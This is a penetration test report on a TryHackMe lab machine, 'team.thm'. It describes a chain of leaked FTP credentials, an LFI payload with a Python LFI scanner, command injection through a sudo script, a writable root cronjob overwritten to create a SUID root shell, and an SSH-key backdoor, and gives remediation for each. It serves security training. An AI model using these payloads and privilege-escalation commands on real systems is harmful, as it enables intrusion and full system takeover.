CONFIDENTIAL

PENETRATION TEST REPORT

Target: **team.thm**

IP Address: 10.113.129.231

Testing Type: Black Box

Overall Risk: **CRITICAL**

Prepared by: **Koussay DHIFI**

Date: 9th April, 2026

Engagement: 7th April – 8th April, 2026

Platform: TryHackMe

Contents

Executive Summary

Objective: Evaluate the security posture of the website `team.thm` by attempting to compromise its server and retrieve sensitive information, including `user.txt` and `root.txt`.

High-Level Findings

- Exposed resources within the web application allowed unauthorized login into the FTP server.
- A subdomain `dev.team.thm` contains a Local File Inclusion (LFI) vulnerability that exposes sensitive data, enabling login to the server as a legitimate user (`dale`).
- An unsafe script executable as `gyles` allows an attacker to impersonate the user `gyles` from the context of user `dale`.
- A script executed as a cronjob by `root` is writable by the user `gyles`, enabling full system compromise.

Attribute	Value
Overall Risk Level	**Critical** — Immediate remediation recommended
Business Impact	Full system compromise exposing sensitive customer data and internal resources, causing financial, reputational, and legal damages.

Scope & Engagement Details

Field	Details
Scope	Single machine at IP address `10.113.129.231`
Legal Authorization	TryHackMe room: https://tryhackme.com/room/teamcw
Time Window	7th April, 2026 – 8th April, 2026
Rules of Engagement	No pivoting outside the target machine; no DoS/DDoS attacks
Testing Type	Black Box — no credentials or usernames provided; only the IP address and initial domain `team.thm`

Methodology

The methodology followed during the penetration test was the **PTES** (Penetration Testing Execution Standard), consisting of the following steps.

1. **Reconnaissance** — Since this was a TryHackMe room, no passive reconnaissance was performed, as its results would effectively be a walkthrough of the machine. The only reconnaissance conducted was active, through manual investigation of the web application, which revealed a portfolio-style website describing the company's services.

2. **Scanning & Enumeration** — Nmap scans revealed open TCP ports 21 (FTP vsftpd 3.0.5), 22 (SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.13; protocol 2.0), and 80 (HTTP Apache httpd

2.4.41). Gobuster directory enumeration revealed several exposed resources, most notably `/scripts/scripts.txt` and `/scripts/scripts.old`, which expose FTP credentials.

3. **Exploitation** — Exploited a Local File Inclusion (LFI) vulnerability within the service hosted on the subdomain `dev.team.thm` to retrieve SSH RSA keys, gaining an initial foothold on the system as the user **dale**.

4. **Post-Exploitation** — Enumerated local users, OS information, user privileges, and active cronjobs. Investigated sensitive directories, including the `gyles` home folder, which contains a vulnerable script named `admin_checks`.

5. **Lateral Movement** — The vulnerable script `admin_checks` within the `gyles` home directory accepts user input in an unsafe manner, allowing arbitrary Linux command execution in the context of user `gyles`. This was leveraged to spawn a shell as `gyles`.

6. **Privilege Escalation** — A cronjob executed as `root` references a script that is writable by any member of the `admin` group. Since `gyles` belongs to this group, code execution as `root` was achieved.

7. **Persistence** — An attacker's SSH public RSA key was inserted into `/root/.ssh/authorized_keys`, establishing a passwordless backdoor as `root`.

Findings

4.1 Finding 1 — Exposed Web Application Resources

F-01 Exposed Web Application Resources Medium

Description: An exposed directory reveals a file containing FTP service credentials.

Technical Details: The directory `/scripts` is publicly accessible and contains a file named `script.txt`, which references another file containing plaintext FTP credentials at `/scripts/scripts.old`.

Impact: Attackers can gain unauthorized access to the FTP service using these credentials, thereby accessing sensitive internal files.

Remediation: Either remove the file from the web application structure entirely, since it serves no functional purpose and its absence will not affect application behavior, or restrict access to the resource via authorization controls such as JWT tokens.

4.2 Finding 2 — Local File Inclusion (LFI)

F-02 Local File Inclusion (LFI) High

Description: This vulnerability allows attackers to read arbitrary sensitive files from the server.

Technical Details: The domain `dev.team.thm` exposes a vulnerable URL parameter named `page` in `script.php`. The PHP file includes the file specified in the URL parameter without proper sanitization, allowing an attacker to traverse the directory structure and access sensitive files such as:

```
http://dev.team.thm/script.php?page=../../../etc/passwd
```

Impact: Exploitation of this vulnerability allows attackers to access sensitive files, including SSH private keys and password hashes, potentially leading to unauthorized system access.

Remediation: Implement a whitelist of allowed file names. If the supplied parameter value does not match an entry in the whitelist, the request should be rejected.

4.3 Finding 3 — Vulnerable Script Executable as User `gyles`

F-03 Vulnerable Script Executable as `gyles` High

Description: A script located in the `gyles` home directory named `admin_checks` can be executed by `dale` with `sudo` privileges as `gyles`, and contains a command injection vulnerability enabling lateral movement.

Technical Details: The script reads user input and passes it directly to the shell for execution. By supplying `/bin/bash` as input, an attacker spawns an interactive shell as `gyles`.

Impact: Privilege escalation from user `dale` to user `gyles`, who is a member of the `admin` group, opening additional attack vectors.

Remediation: Replace the unsafe input execution with strict input validation, as shown in the Appendix.

4.4 Finding 4 — Root Cronjob Script Writable by `gyles`

F-04 Root Cronjob Script Writable by `gyles` Critical

Description: A cronjob running as `root` executes a script that is writable by any member of the `admin` group, allowing full system compromise.

Technical Details: Process monitoring via `pspy64` revealed that `/usr/local/bin/main_backup.sh` is executed as `root` every minute. The file's permissions allow write access to any user in the `admin` group. Since `gyles` is a member of this group, arbitrary code execution as `root` is possible by overwriting the script's contents.

Impact: Full system compromise. An attacker can escalate from `gyles` to `root`, gaining complete control over the system.

Remediation: Remove the script entirely, as its default functionality serves no critical purpose. If it must be retained, restrict write permissions to `root` only (`chmod 700 /usr/local/bin/main_backup.sh`). As a general rule, any script executed as `root` must only be writable by `root`.

Attack Path / Kill Chain

Stage	Description
Initial Access	LFI on `dev.team.thm` used to extract `dale`'s SSH private key (`id_rsa`).
Foothold	SSH login as `dale` using the extracted RSA key.
Lateral Movement	Command injection via `/home/gyles/admin_checks` to spawn a shell as `gyles`.
Privilege Escalation	Overwrote `/usr/local/bin/main_backup.sh` with a payload that creates a SUID root shell at `/tmp/rootbash`.
Persistence	Inserted an attacker-controlled SSH public key into `/root/.ssh/authorized_keys` for passwordless root access.
Final Impact	Full system compromise. The attacker can exfiltrate sensitive data, deploy ransomware, or maintain silent persistent access.

Conclusion

[!] Overall Security Posture: CRITICAL

The organization's server exhibits multiple high-risk vulnerabilities that, when exploited as a chain, lead to full system compromise. **Immediate remediation is required.**

Key Risks Identified:

- Exposed web application resources leaking service credentials.
- Local File Inclusion (LFI) enabling sensitive file disclosure.
- Poorly written scripts executed under elevated privileges without proper input validation.
- Cronjob scripts running as `root` with insecure file permissions.

Appendix

7.1 Full Scan Outputs

Nmap — Host Discovery

```
Hosts
=====
address            mac  name            os_name  os_flavor  os_sp  purpose
-------            ---  ----            -------  ---------  -----  -------
10.113.129.231          10.113.129.231  Linux                      server
```

Nmap — Service Enumeration

```
Services
========
host             port  proto  name  state  info
----             ----  -----  ----  -----  ----
10.113.129.231   21    tcp    ftp   open   vsftpd 3.0.5
10.113.129.231   22    tcp    ssh   open   OpenSSH 8.2p1 Ubuntu 4ubuntu0.13;
    protocol 2.0
10.113.129.231   80    tcp    http  open   Apache httpd 2.4.41 (Ubuntu)
```

Gobuster — Directory Enumeration

```
gobuster dir -u http://team.thm/ -w common.txt
/.hta                 (Status: 403) [Size: 273]
/.htaccess            (Status: 403) [Size: 273]
/.htpasswd            (Status: 403) [Size: 273]
/assets               (Status: 301) [--> http://team.thm/assets/]
/images               (Status: 301) [--> http://team.thm/images/]
/index.html           (Status: 200) [Size: 2966]
/robots.txt           (Status: 200) [Size: 5]
/scripts              (Status: 301) [--> http://team.thm/scripts/]
/server-status        (Status: 403) [Size: 273]
```

```
gobuster dir -u http://team.thm/scripts -w common.txt -x .txt .php .html
/.hta                 (Status: 403)
/.htpasswd            (Status: 403)
/.htaccess            (Status: 403)
/script.txt           (Status: 200) [Size: 597]
```

scripts.txt Content (Credentials Redacted)

```
#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
...
# Updated version of the script
# Note to self: had to change the extension of the old "script" in this folder
    ,
# as it has creds in it.
```

File Retrieved via FTP

```
Dale,
I have started coding a new website in PHP for the team to use. This is
    currently
```

```
under development. It can be found at ".dev" within our domain.

Also, as per team policy, please make a copy of your "id_rsa" and place it in
    the
relevant config file.

Gyles
```

7.2 LFI Exploit Script

```
import requests

URL = "http://dev.team.thm/script.php?page="

with open('lfi.txt', 'r') as f:
    path = f.readline().strip()
    while path:
        res = requests.get(URL + path)
        if len(res.text) > 1:
            with open('Here.txt', 'at') as f2:
                f2.write(f"{path}")
                f2.write(res.text)
        path = f.readline().strip()
        print(path)
```

`lfi.txt` is a wordlist containing several LFI path traversal payloads.

7.3 User Enumeration — dale

```
$ id
uid=1000(dale) gid=1000(dale) groups=1000(dale),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare),1003(editors)

$ sudo -l
Matching Defaults entries for dale on ip-10-112-166-9:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/
        snap/bin

User dale may run the following commands on ip-10-112-166-9:
    (gyles) NOPASSWD: /home/gyles/admin_checks
```

7.4 Vulnerable Script — admin_checks

```
#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"
```

Exploitation

```
dale@ip-10-112-166-9:/home/gyles$ sudo -u gyles ./admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: /bin/bash
Enter 'date' to timestamp the file: /bin/bash
The Date is id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),108(lxd),1003(editors)
    ,1004(admin)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Remediation Code

```
# Unsafe line
$error

# Safe replacement
if [[ "$error" == "date" ]]; then
    date
else
    echo "Invalid input"
fi
```

7.5 Process Monitoring — pspy64

```
2026/04/08 21:57:01 CMD: UID=0 PID=1418 | /usr/sbin/CRON -f
2026/04/08 21:57:01 CMD: UID=0 PID=1419 | /bin/bash /opt/admin_stuff/script.sh
2026/04/08 21:57:01 CMD: UID=0 PID=1421 | /bin/bash /usr/local/bin/main_backup
    .sh
2026/04/08 21:58:01 CMD: UID=0 PID=1427 | /bin/bash -c /opt/admin_stuff/script
    .sh
2026/04/08 21:58:01 CMD: UID=0 PID=1429 | /bin/bash /usr/local/bin/main_backup
    .sh
2026/04/08 21:59:01 CMD: UID=0 PID=1438 | /bin/bash /usr/local/bin/main_backup
    .sh
```

7.6 Privilege Escalation to Root

Exploit

```
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" \
    > /usr/local/bin/main_backup.sh
```

Evidence of Root Compromise

```
$ /tmp/rootbash -p
rootbash-5.0# whoami
root
rootbash-5.0# id
uid=1001(gyles) gid=1001(gyles) euid=0(root) egid=0(root)
groups=0(root),108(lxd),1001(gyles),1003(editors),1004(admin)
rootbash-5.0# ls
flag.txt  pspy64  user.txt
```